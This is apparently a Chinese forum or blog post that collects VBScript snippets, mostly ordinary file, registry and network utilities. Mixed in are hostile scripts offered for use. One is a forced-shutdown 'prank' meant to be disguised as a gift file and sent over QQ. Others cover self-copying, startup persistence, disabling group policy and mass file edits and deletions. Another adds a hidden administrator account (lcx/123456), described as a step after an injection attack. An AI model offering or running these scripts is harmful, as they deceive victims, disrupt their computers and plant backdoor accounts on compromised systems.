在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。
VBS播放音乐
Dim wmp
Set wmp = CreateObject("WMPlayer.OCX")
wmp.openState
wmp.URL = "想象之中.mp3"
Do Until wmp.playState = 1
WScript.Sleep 1000
Loop
比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)
Set shell=CreateObject("WScript.Shell")
shell.run "shutdown -s -t 60 -c 系统即将关闭.",0
While InputBox("请输入答案","请回答")<>"123" *密码是123
MsgBox "答案在心中...",16+4096 *4096 是让窗口在最顶层
Wend
shell.run "shutdown -a",0
MsgBox "恭喜",64
修改桌面背景图片
Sphoto="d:\1.bmp"*输入你自己的BMP路径
computer="."
Const hkcu=&h80000001
Set wmi=GetObject("winmgmts:\\"& computer &"\root\default:stdregprov")
wmi.getstringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spath
wmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0"
wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2"
wmi.setdwordvalue hkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","ListviewShadow",1
Set wmi=Nothing
Set fso=CreateObject("scripting.filesystemobject")
Set fs=fso.Getfile(Sphoto)
backname=fs.name
fs.Name=fso.GetFileName(Spath)
fs.Copy fso.GetParentFolderName(Spath) & "\",True
fs.Name=backname
Set fso=Nothing
Set ws=CreateObject("wscript.shell")
ws.Run "gpupdate /force",vbhide
ws.Run "RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"
Set ws=Nothing
VBS获取系统安装路径C:\WINDOWS路径
先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。
Set WshShell = WScript.CreateObject("WScript.Shell")
strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")
VBS获取C:\Program Files路径
Set WshShell = WScript.CreateObject("WScript.Shell")
strPorDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")
VBS获取C:\Program Files\Common Files路径
Set WshShell = WScript.CreateObject("WScript.Shell")
strCommDir = WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%")
给桌面添加网址快捷方式
Set WshShell = WScript.CreateObject("Wscript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop")
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\百度.lnk")
oShellLink.TargetPath = "http://www.baidu.com/"
oShellLink.Description = "百度主页"
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"
oShellLink.Save
给收藏夹添加网址
Const ADMINISTRATIVE_TOOLS = 6
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self
Set objShell = WScript.CreateObject("WScript.Shell")
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\百度.url")
objURLShortcut.TargetPath = "http://www.baidu.com/"
objURLShortcut.Save
删除指定目录指定后缀文件
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile "C:\*.vbs", True
Set fso = Nothing
VBS改主页
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com/"
VBS加启动项
Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
VBS复制自己到C盘
Dim fso
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
fso.getfile(wscript.scriptfullname).copy("c:\cik.vbs")
复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的cik.exe)
Dim fso
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
fso.getfile("game.exe").copy("c:\cik.exe")
VBS获取系统临时目录
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder
就算代码出错 依然继续执行
On Error Resume Next
VBS打开网址
Set objShell = CreateObject("Wscript.Shell")
objShell.Run("http://www.baidu.com/")
VBS发送邮件
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "发件@qq.com"
Email.To = "收件@qq.com"
Email.Subject = "这里写标题"
Email.Textbody = "这里写内容!"
Email.AddAttachment "C:\这是附件.txt"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.qq.com"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "发件人用户名"
.Item(NameSpace&"sendpassword") = "发件人密码"
.Update
End With
Email.Send
VBS结束进程
strComputer = "."
Set objWMIService = GetObject _
("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = *Rar.exe*")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
VBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)
createObject("wscript.shell").run "start http://www.baidu.com/",0
兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。
Set objws=WScript.CreateObject("wscript.shell")
objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""http://www.baidu.com",0
VBS遍历硬盘删除指定文件名
On Error Resume Next
Dim fPath
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery("Select * from Win32_Process Where Name = *gangzi.exe*")
For Each objProcess In colProcessList
objProcess.Terminate()
Next
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colDirs = objWMIService.ExecQuery("Select * from Win32_Directory where name LIKE *%c:%* or name LIKE *%d:%* or name LIKE *%e:%* or name LIKE *%f:%* or name LIKE *%g:%* or name LIKE *%h:%* or name LIKE *%i:%*")
Set objFSO = CreateObject("Scripting.FileSystemObject")
For Each objDir In colDirs
fPath = objDir.Name & "\cik.exe"
*如果文件名是cik.exe就删除
objFSO.DeleteFile(fPath), True
Next

VBS获取网卡MAC地址
Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MsgBox "本机网卡MAC地址是: " & mo.MacAddress
Exit For
End If
Next
VBS获取本机注册表主页地址
Set reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")
MsgBox startpage
VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Co = vbCrLf & "路过。。。"
For Each i In fso.Drives
If i.DriveType = 2 Then
GF fso.GetFolder(i & "\")
End If
Next
Sub GF(fol)
Wh fol
Dim i
For Each i In fol.SubFolders
GF i
Next
End Sub
Sub Wh(fol)
Dim i
For Each i In fol.Files
If LCase(fso.GetExtensionName(i)) = "txt" Then
fso.OpenTextFile(i,8,0).Write Co
End If
Next
End Sub
获取计算机所有盘符
Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives *取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives *遍历磁盘
MsgBox objdrive
Next
VBS给本机所有磁盘根目录创建文件
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set gangzis=fso.Drives *取得当前计算机的所有磁盘驱动器
For Each gangzi In gangzis *遍历磁盘
Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)
TestFile.WriteLine("By Cik")
TestFile.Close
Next
VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe
Set fs = CreateObject("Scripting.FileSystemObject")
For Each drive In fs.drives
fstraversal drive.rootfolder
Next
Sub fstraversal(byval this)
For Each folder In this.subfolders
fstraversal folder
Next
Set files = this.files
For Each file In files
If file.name = "123.exe" Then file.name = "321.exe"
Next
End Sub
VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）
str="这里是你要复制到剪贴板的字符串"
Set ws = wscript.createobject("wscript.shell")
ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true

QQ自动发消息
On Error Resume Next
str="我是笨蛋/qq"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0
WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true
WScript.Sleep 3000
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"
VBS隐藏文件
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("F:\软件大赛\show.txt")
If objFile.Attributes = objFile.Attributes AND 2 Then
objFile.Attributes = objFile.Attributes XOR 2
End If
VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途）
Randomize 520
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,"")
VBS删除桌面IE图标（非快捷方式）
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
VBS获取自身文件名
MyName=WScript.ScriptName
msgbox MyName
MyFullName=WScript.ScriptFullName
msgbox MyFullName
VBS读取Unicode编码的文件
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)
strText = objFile.ReadAll
objFile.Close
Wscript.Echo strText
VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径
set stm2 =createobject("ADODB.Stream")
stm2.Charset = "utf-8"
stm2.Open
stm2.LoadFromFile gangzi
readfile = stm2.ReadText
MsgBox readfile
VBS禁用组策略
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD"
VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量
cik="1.txt"
cik2="2.txt"
Set Stm1 = CreateObject("ADODB.Stream")
Stm1.Type = 2
Stm1.Open
Stm1.Charset = "UTF-8"
Stm1.Position = Stm1.Size
Stm1.WriteText cik2
Stm1.SaveToFile cik,2
Stm1.Close
set Stm1 = nothing
VBS获取当前目录下所有文件夹名字（不包括子文件夹）
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
Set f=fso.GetFolder(fso.GetAbsolutePathName("."))
Set folders=f.SubFolders
For Each fo In folders
wsh.echo fo.Name
Next
VBS获取指定目录下所有文件夹名字（包括子文件夹）
Dim t
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set fs=fso.GetFolder("d:\")
WScript.Echo aa(fs)
Function aa(n)
Set f=n.subfolders
For Each uu In f
Set op=fso.GetFolder(uu.path)
t=t & vbCrLf & op.path
Call aa(op)
Next
aa=t
End Function
VBS创建.URL文件（IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标）
注意：不知道是谁这么写我不发表任何意见
Set fso=CreateObject("scripting.filesystemobject")
qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)
qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)
qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)
Set TestFile=fso.CreateTextFile("qq.url",Ture)
TestFile.WriteLine(qidong)
TestFile.Close
VBS写hosts（没写判断，无论存不存在都追加底部）
Set fs = CreateObject("Scripting.FileSystemObject")
path = fs.GetSpecialFolder(1)&"\drivers\etc\hosts"
Set f = fs.OpenTextFile(path,8,TristateFalse)
f.Write "127.0.0.1 www.不想上的网站.cn"
f.Write "127.0.0.1 www.不想上的网站2.cn"
f.Close
VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出
Const HKLM = &H80000002
strPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"
Set oreg = GetObject("Winmgmts:\root\default:StdRegProv")
oreg.EnumKey HKLM,strPath,arr
For Each x In arr
WScript.Echo x
Next
VBS创建txt文件
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
VBS创建文件夹
Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
Set fld=fso.CreateFolder("C:\newFolder")
VBS判断文件夹是否存在
Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists("C:\newFolder")) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder("C:\newFolder")
End If
VBS使用变量判断文件夹
Dim fso,fld
drvName="C:\"
fldName="newFolder"
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists(drvName&fldName)) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder(drvName&fldName)
End If

VBS根据mac生成序列号
Function Encode(strPass)
Dim i, theStr, strTmp
For i = 1 To Len(strPass)
strTmp = Asc(Mid(strPass, i, 1))
theStr = theStr & Abs(strTmp)
Next
strPass = theStr
theStr = ""
Do While Len(strPass) > 16
strPass = JoinCutStr(strPass)
Loop
For i = 1 To Len(strPass)
strTmp = CInt(Mid(strPass, i, 1))
strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
theStr = theStr & strTmp
Next
Encode = theStr
End Function
Function JoinCutStr(str)
Dim i, theStr
For i = 1 To Len(str)
If Len(str) - i = 0 Then Exit For
theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))
i = i + 1
Next
JoinCutStr = theStr
End Function
Function IIf(var, val1, val2)
If var = True Then
IIf = val1
Else
IIf = val2
End If
End Function
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
theStr = mo.MacAddress
Exit For
End If
Next
Randomize Encode(theStr)
rdnum=Int(10*Rnd+5)
Function allRand(n)
For i=1 To n
Randomize Encode(theStr)
temp = CInt(25*Rnd)
If temp Mod 2 = 0 Then
temp = temp + 97
ElseIf temp < 9 Then
temp = temp + 48
Else
temp = temp + 65
End If
allRand = allRand & Chr(temp)
Next
End Function
MsgBox allRand(rdnum)
VBS自动连接adsl
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial 连接名字 账号 密码",false,1
VBS自动断开ADSL
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial /DISCONNECT",false,1
VBS每隔3秒自动更换IP并打开网址实例（值得一提的是，下面这个代码中每次打开的网址都是引用同一个IE窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用run就可以了）
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
Set oIE = CreateObject("InternetExplorer.Application")
For i=1 To 5
wsh.run "Rasdial /DISCONNECT",False,1
wsh.run "Rasdial 连接名字 账号 密码",False,1
oIE.Navigate "http://www.ip138.com/?"&i&""
Call SynchronizeIE
oIE.Visible = True
Next
Sub SynchronizeIE
On Error Resume Next
Do While(oIE.Busy)
WScript.Sleep 3000
Loop
End Sub
用VBS来加管理员帐号
在注入过程中明明有了sa帐号，但是由于net.exe和net1.exe被限制，或其它的不明原因，总是加不了管理员帐号。VBS在活动目录（adsi）部份有一个winnt对像，可以用来管理本地资源，可以用它不依靠cmd等命令来加一个管理员，详细代码如下：
Set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) *得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") *属性,admin组
Set od=ob.Create("user","lcx") *建立用户
od.SetPassword "123456" *设置密码
od.SetInfo *保存
Set of=GetObject(os&"/lcx",user) *得到用户
oe.add os&"/lcx"
这段代码如果保存为1.vbs，在cmd下运行，格式: cscript 1.vbs的话，会在当前系统加一个名字为lcx，密码为123456的管理员。当然，你可以用记事本来修改里边的变量lcx和123456，改成你喜欢的名字和密码值。

4L怎么被删了，百度是黐线吗？fuck!!!!!!

4L：VBS加输入框
Dim fso,TestFile,fileName,drvName,fldName
drvName=InputBox("Enter the drive to save to:","Drive letter")
fldName=InputBox("Enter the folder name:","Folder name")
fileName=InputBox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
MsgBox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
TestFile.WriteLine("Hello,World!")
TestFile.Close
VBS检查是否有相同文件
Dim fso,TestFile,fileName,drvName,fldName
drvName=InputBox("Enter the drive to save to:","Drive letter")
fldName=InputBox("Enter the folder name:","Folder name")
fileName=InputBox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
MsgBox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If
If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then
MsgBox("File already exists.")
Else
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
TestFile.WriteLine("Hello,World!")
TestFile.Close
End If
VBS改写、追加 文件
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",2,True) *1只读，2可写，8追加
openFile.Write "Hello World!"
openFile.Close
VBS读取文件 ReadAll 读取全部
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadAll)
VBS读取文件 ReadLine 读取一行
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadLine())
MsgBox(openFile.ReadLine()) *如果读取行数超过文件的行数，就会出错
VBS读取文件 Read 读取n个字符
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.Read(2)) *如果超出了字符数，不会出错。
VBS删除文件
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")
VBS删除文件夹
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\newFolder") *不管文件夹中有没有文件都一并删除
VBS连续创建文件
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
For i=1 To 10
Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
Next
VBS根据计算机名随机生成字符串
Set ws=CreateObject("wscript.shell")
Set wenv=ws.environment("process")
RDA=wenv("computername")
Function UCharRand(n)
For i=1 To n
Randomize Asc(Mid(RDA,1,1))
temp = CInt(25*Rnd)
temp = temp +65
UCharRand = UCharRand & Chr(temp)
Next
End Function
MsgBox UCharRand(Len(RDA))

文件夹的简单操作
Set fso = Wscript.CreateObject(Scripting.FileSystemObject) *声明
Set f = fso.CreateFolder("C:\sample") *创建文件夹
Set e = getFolder("C:\sample") *类似于 绑定目标
e.copy("D:\sample") *复制文件夹
fso.deletefolder("C:\sample") *删除文件夹